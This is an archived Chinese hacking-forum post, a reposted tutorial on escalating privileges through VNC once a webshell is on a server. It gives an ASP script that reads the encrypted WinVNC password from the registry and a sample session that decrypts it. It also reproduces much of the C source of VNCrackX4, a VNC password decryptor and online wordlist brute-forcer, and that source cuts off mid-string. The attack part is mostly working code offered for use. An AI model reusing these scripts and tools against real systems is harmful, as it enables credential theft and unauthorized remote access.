邪恶八进制信息安全团队技术讨论组's Archiver

宿心劫 2005-1-10 16:03

[转载]如何利用VNC服务提升权限

作者:xiaohuar  

信息来源:[url]http://xiaohuar.blogchina.com[/url]   

    很多时候大家提升权限一般用SERVU,或是找到sa帐户密码等。其实除了这个VNC一般也是以最高权限运行的,而且是图形界面,功能和远程终端类似。

如果得到了一个主机的WEBSHELL,想提升权限,发现主机运行了VNC服务,就可以考虑用下面的方法。

默认情况下VNC服务端的密码是放在注册表中的,本文只针对这种情况。

首先用ASP读出注册表中的加密密码,然后用破解工具破解。

我给出大家一个读取VNC密码的ASP脚本,默认情况下VNC密码存放在HKCU\Software\ORL\WinVNC3\Password


Set WshShell = server.CreateObject("WScript.Shell")
bkey=WSHShell.RegRead("HKCU\Software\ORL\WinVNC3\Password")
for each str in bkey
response.write hex(str)
next


读取出来后结果类似 49 40 15 F9 A3 5E 8B 22这种十六进制,这是VNC加密的密码。我们可以用vncx4

破解它,vncx4使用很简单,只要在命令行下输入

c:\>vncx4 -W

然后顺序输入上面的每一个十六进制数据,没输完一个回车一次就行了。

比如我给个测试


H:\tool>vncx4 -W
49
40
15
F9
A3
5E
8B
22
Entered HEX String: 49 40 15 f9 a3 5e 8b 22
VNC Password: 123456

好,我把这个工具的源代码和编译程序给出来,编译程序在最下面。



/* Project code: vncrack for windows (vnx4)
*
* FX <[email]fx@phenoelit.de[/email]>
* Phenoelit ([url]http://www.phenoelit.de/[/url])
* (c) 2k
*
* Blocking delay idea by Stonneway.
*/
#include
#include
#include
file://#include
#include

#include "d3des.h"
#include "vncauth.h"
extern unsigned char fixedkey[8];


#define SPLASH "VNCrackX4 - by Phenoelit ([url]http://www.phenoelit.de/[/url])\n"
int verbose=0,lbf=0;
char *schallange=NULL, *sresponse=NULL;
void interactive(void);
void cr_crack(char *wordlist);

void *sec_malloc(size_t size) {
   void *p;

   if ((p=malloc(size))==NULL) {
fprintf(stderr,"malloc() failed for %d bytes\n",size);
exit (-1);
   }
   memset(p,0,size);
   return p;
}

void usage(void) {
   printf("VNCrackX4\n"
    "by Phenoelit ([url]http://www.phenoelit.de/[/url])\n\n"\
    "Usage:\n"
    "Online: ./vncrack -h target.host.com -w wordlist.txt [-opt&#39;s]\n"
    "Windows interactive mode: ./vncrack -W \n"
    "\tenter hex key one byte per line - find it in\n"
    "\t\\HKEY_CURRENT_USER\\Software\\ORL\\WinVNC3\\Password or\n"
    "\t\\HKEY_USERS\\.DEFAULT\\Software\\ORL\\WinVNC3\\Password\n\n"
    "Options for online mode:\n"
    "-v\tverbose (repeat -v for more)\n"
    "-p P\tconnect to port P instead of 5900\n"
    "Options for PHoss intercepted challages:\n"
    "-c \tchallange from PHoss output\n"
    "-r \tresponse from PHoss output\n"
    );
   exit(-1);
}

void sleep(DWORD ms) {
DWORD t1;

t1=GetTickCount();
while (GetTickCount()<(t1+ms));

}

int main(int argc, char **argv) {
   int  sfd;  /* socket */
   unsigned long  dest_ip;
   struct sockaddr_in dest_addr;


   char  *rbuf;
   unsigned char atype[4];
   unsigned char challange[16];

   
   char  *vnchost=NULL;
u_short  vncport=5900;

   int  i,ani=0;
   char *wordlist=NULL;
   FILE *fd;
   char *tryword;

char servertext[255];
char *sthelp;

   int  conwait=90;
int  redocount=0;
   int  redosleep=10;


/* check the command line options */
for (i=1;i  switch (argv[i][1]) {

  case &#39;v&#39;: // verbose
  verbose++;
  break;
  case &#39;p&#39;:
  if (argv[++i]==NULL) usage();
  if ((vncport=atoi(argv[i]))==0) {
   fprintf(stderr,"wrong port number: %s\n",argv[i]);
   exit (-1);
  }
  break;
  case &#39;h&#39;:
  if (argv[++i]==NULL) usage();
  vnchost=(char *)sec_malloc(strlen(argv[i])+1);
  strcpy(vnchost,argv[i]);
  break;
  case &#39;w&#39;:
  if (argv[++i]==NULL) usage();
  wordlist=(char *)sec_malloc(strlen(argv[i])+1);
  strcpy(wordlist,argv[i]);
  break;
  case &#39;W&#39;:
  interactive();
  break;

  case &#39;c&#39;:
  if (argv[++i]==NULL) usage();
  schallange=(char *)sec_malloc(strlen(argv[i])+1);
  strcpy(schallange,argv[i]);
  break;
  case &#39;r&#39;:
  if (argv[++i]==NULL) usage();
  sresponse=(char *)sec_malloc(strlen(argv[i])+1);
  strcpy(sresponse,argv[i]);
  break;
  case &#39;R&#39;:
  if (argv[++i]==NULL) usage();
  redosleep=atoi(argv[i]);
  break;
  
  default:
  usage();
  }
}

   if (schallange||sresponse) {
  printf(SPLASH);
  cr_crack(wordlist); /* exit is done here */
   }


   if (!(vnchost&&vncport&&wordlist)) usage();
   printf(SPLASH);

   /* host */
dest_ip=inet_addr(vnchost);
   memcpy(&dest_addr.sin_addr,&dest_ip,sizeof(dest_ip));
   dest_addr.sin_port=htons(vncport);
   dest_addr.sin_family=AF_INET;


/* make sure we can talk WinSock
  Comment: I like to enclose this, because it is SO UGLY */
{
  WORD wVersionRequested;
  WSADATA wsaData;
  int err;
  wVersionRequested = MAKEWORD(1, 1);

  err = WSAStartup(wVersionRequested, &wsaData);
  if (err != 0) {
  fprintf(stderr,"Unable to start networking");
  exit (-1);
  }
  
} // WSA and GO


   if ((fd=fopen(wordlist,"rt"))==NULL) {
  fprintf(stderr,"Unable to open wordlist %s\n",wordlist);
  exit (-1);
   }

   tryword=sec_malloc(256);
   while (fgets(tryword,255,fd)!=NULL) {
    /* cut the word */
  if (tryword[strlen(tryword)-1]==&#39;\n&#39;) tryword[strlen(tryword)-1]=&#39;\0&#39;;
   

ReDoClosed:
  if (verbose) {
  printf("\ntrying &#39;%s&#39; ...",tryword);
  fflush(stdout);
  }

  if ((sfd=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET) {
  fprintf(stderr,"Unable to get a socket");
  exit (-1);
  }

  if (connect(sfd,(struct sockaddr *)&dest_addr,sizeof(dest_addr))!=0) {
  fprintf(stderr,"Connect failed (%d).\n",WSAGetLastError());
  exit(-1);
  }
  
  /* connunication starts with server->client version packet */
  rbuf=sec_malloc(100);
  if (recv(sfd,rbuf,100,0)<0) {
  fprintf(stderr,"recv()");
  exit(-1);
  }
  if (verbose>1) printf("\nServer Protocol version: %s",rbuf);

  /* bounce this message back - so the server will continue */
  if (send(sfd,rbuf,strlen(rbuf),0)<0) {
  fprintf(stderr,"send()");
  exit(-1);
  }

  if (recv(sfd,atype,sizeof(atype),0)<0) {
    fprintf(stderr,"recv()");
  exit(-1);
  }

  if (verbose>1) {
  printf("Authentication type: ");
  for (i=0;i<4;i++) { printf("%x ",atype[i]); }
  printf("\n");
  }

  switch (atype[3]) {
  case 0:
   fprintf(stderr,"Server told me: connection close\n");
   if (verbose) {
    // try to retrieve the reason
    memset(servertext,0,sizeof(servertext));
    if (recv(sfd,servertext,sizeof(servertext),0)<0) {
      fprintf(stderr,"recv() in verbose");
    exit(-1);
    } else {
    sthelp=servertext;
    sthelp+=4;
    fprintf(stderr,"Server says: %s\n",sthelp);
    }
    if (verbose) printf("\tWaiting for blocking disable\n");
    Sleep(redosleep*1000);
    if ((redocount++)<3) {
    goto ReDoClosed;
    } else {
    fprintf(stderr,"\tgiving up (increase -R)\n");
    }
   }
   exit(-1);
   break; /* not reached */
  case 1:
   printf( "\n>>>>>>>>>>>>>>>\n"
   "Server does not require authentication!\n"
   ">>>>>>>>>>>>>>>\n");
   exit(-1);
   break; /* not reached */
  case 2:
   if (verbose>1)
      printf( "Authentication type &#39;VNC authentication&#39; - fine\n");
   break;
  default:
   fprintf(stderr,"Unknown authentication requested by server\n");
   exit(-1);
  }
  redocount=0;

  if (recv(sfd,challange,sizeof(challange),0)<0) {
  fprintf(stderr,"recv()");
  exit(-1);
  }
   
  if (verbose>1) {
  printf("challange: ");
  for (i=0;i<16;i++) { printf("%x ",challange[i]); }
  printf("\n");
  }

  /* encrypt challange with password and send this fuck to the server */
  vncEncryptBytes(challange,tryword);

  if (send(sfd,challange,sizeof(challange),0)<0) {
  fprintf(stderr,"auth send()");
  exit(-1);
  }

  atype[3]=0;
  if (recv(sfd,atype,sizeof(atype),0)<0) {
  fprintf(stderr,"auth recv()");
    exit(-1);
  }
  switch (atype[3]) {
  case 0:
   printf( "\n>>>>>>>>>>>>>>>\n"
   "Password: %s\n"
   ">>>>>>>>>>>>>>>\n",tryword);
   free(tryword);
   exit(0);
   break; /* not reached */

  case 1: /* &#39;normal&#39; failed */
   if (verbose) printf("failed\n");
   break;
  case 2: /* too many */
   printf("Server is angry, waiting for calm down...\n");
   sleep(10000);
   break;
  default:
   fprintf(stderr,"Unknown response\n");
   exit(-1);
  }

  shutdown(sfd,2);

  closesocket(sfd);
  memset(tryword,0,256);
   }

   free(tryword);
   fclose(fd);

   return 0;
}

void interactive(void) {
   unsigned char  *pass;
   int  i;
   char c;

   pass=(char *)sec_malloc(9);
   for (i=0;i<8;i++) {
scanf("%x",&c);
pass[i]=c;
   }
   printf("Entered HEX String: ");
   for (i=0;i<8;i++) { printf("%x ",pass[i]); }
   printf("\n");

   deskey(fixedkey,DE1);
   des(pass,pass);
   printf("VNC Password: %s\n",pass);

   exit(0);
}

void cr_crack(char *wordlist) {
   int i,j;
#define CRL 16
   char chl[CRL+1];
   char rsp[CRL+1];
   char tchl[CRL+1];
   char ts[3];
   FILE *fd;
   char *tryword;

   char bft[9];
   char cset1[] =
"abcdefghijklmnopqrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"1234567890!\"$%&/()=?`&#39;&#39;*_:;-.,#+}][{^<>

页: [1]
© 1999-2008 EvilOctal Security Team